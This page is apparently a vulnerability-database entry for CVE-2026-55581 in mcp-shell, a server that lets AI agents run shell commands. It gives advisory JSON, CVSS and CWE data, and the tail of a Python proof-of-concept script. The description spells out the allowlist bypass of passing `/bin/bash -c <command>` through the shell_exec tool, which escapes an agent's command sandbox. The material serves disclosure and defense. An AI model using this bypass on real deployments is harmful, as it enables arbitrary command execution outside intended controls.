(envtext allowlist textcontains)\")\n                print(f\"    first 5lines: {chr(10).join(\u0027    \u0027 + l for l in env_lines)}\")\n        except Exception:\n            pass\n\n    return exploit_passed, exploit_evidence\n\n\nif __name__ == \"__main__\":\n    passed, evidence = run_poc()\n    print()\n    if passed:\n        print(\"[+] vulnerability reproduction result: PASS\")\n        sys.exit(0)\n    else:\n        print(\"[-] vulnerability reproduction result: FAIL\")\n        sys.exit(1)\n```",
  "id": "GHSA-3x77-wg38-92r3",
  "modified": "2026-08-25T15:41:30Z",
  "published": "2026-08-25T15:41:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sonirico/mcp-shell/security/advisories/GHSA-3x77-wg38-92r3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sonirico/mcp-shell/pull/16"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sonirico/mcp-shell/commit/f31377fce6ec31114e5a4398c0e5270552bce09f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sonirico/mcp-shell"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sonirico/mcp-shell/releases/tag/v0.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "mcp-shell has a Secure Mode Allowlist Bypass via Default `/bin/bash` Executable"
}

CVE-2026-55581 (GCVE-0-2026-55581)

Vulnerability from cvelistv5 – Published: 2026-08-25 15:40 – Updated: 2026-08-25 19:01

Title

mcp-shell: Secure Mode Allowlist Bypass via Default `/bin/bash` Executable

Summary

mcp-shell is an MCP server for running shell commands securely, auditably, and on demand. Prior to 0.6.0, the default Docker security.yaml includes /bin/bash in allowed_executables, while security.go validates only the first token and checkBlockedPatternsAndCommands does not reject the shell command-mode flag -c. A caller of the shell_exec MCP tool can provide the command argument `/bin/bash -c <arbitrary-command>`, which passes validation and reaches executor.go, where parseCommand and exec.CommandContext execute the arbitrary command as mcpuser outside the intended allowlist. This issue is fixed in version 0.6.0.

Severity

8.4 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-25 19:01 UTC

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
CWE-183 - Permissive List of Allowed Inputs
CWE-1188 - Insecure Default Initialization of Resource

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/sonirico/mcp-shell/security/ad…	x_refsource_CONFIRM
https://github.com/sonirico/mcp-shell/pull/16	x_refsource_MISC
https://github.com/sonirico/mcp-shell/commit/f313…	x_refsource_MISC
https://github.com/sonirico/mcp-shell/releases/ta…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
sonirico	mcp-shell	Affected: < 0.6.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-55581",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-25T19:01:36.178820Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-25T19:01:56.083Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/sonirico/mcp-shell/security/advisories/GHSA-3x77-wg38-92r3"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "mcp-shell",
          "vendor": "sonirico",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.6.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "mcp-shell is an MCP server for running shell commands securely, auditably, and on demand. Prior to 0.6.0, the default Docker security.yaml includes /bin/bash in allowed_executables, while security.go validates only the first token and checkBlockedPatternsAndCommands does not reject the shell command-mode flag -c. A caller of the shell_exec MCP tool can provide the command argument `/bin/bash -c \u003carbitrary-command\u003e`, which passes validation and reaches executor.go, where parseCommand and exec.CommandContext execute the arbitrary command as mcpuser outside the intended allowlist. This issue is fixed in version 0.6.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "HIGH",
            "baseScore": 8.4,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-78",
              "description": "CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-183",
              "description": "CWE-183: Permissive List of Allowed Inputs",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-1188",
              "description": "CWE-1188: Insecure Default Initialization of Resource",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-25T15:40:10.992Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/sonirico/mcp-shell/security/advisories/GHSA-3x77-wg38-92r3",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/sonirico/mcp-shell/security/advisories/GHSA-3x77-wg38-92r3"
        },
        {
          "name": "https://github.com/sonirico/mcp-shell/pull/16",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sonirico/mcp-shell/pull/16"
        },
        {
          "name": "https://github.com/sonirico/mcp-shell/commit/f31377fce6ec31114e5a4398c0e5270552bce09f",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sonirico/mcp-shell/commit/f31377fce6ec31114e5a4398c0e5270552bce09f"
        },
        {
          "name": "https://github.com/sonirico/mcp-shell/releases/tag/v0.6.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sonirico/mcp-shell/releases/tag/v0.6.0"
        }
      ],
      "source": {
        "advisory": "GHSA-3x77-wg38-92r3",
        "discovery": "UNKNOWN"
      },
      "title": "mcp-shell: Secure Mode Allowlist Bypass via Default `/bin/bash` Executable"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-55581",
    "datePublished": "2026-08-25T15:40:10.992Z",
    "dateReserved": "2026-06-16T23:18:03.169Z",
    "dateUpdated": "2026-08-25T19:01:56.083Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-3X77-WG38-92R3

Summary

Details

PoC

Impact

Reproduction artifacts

Dockerfile

poc.py

CVE-2026-55581 (GCVE-0-2026-55581)

Tags

Sightings

Nomenclature

`Dockerfile`

`poc.py`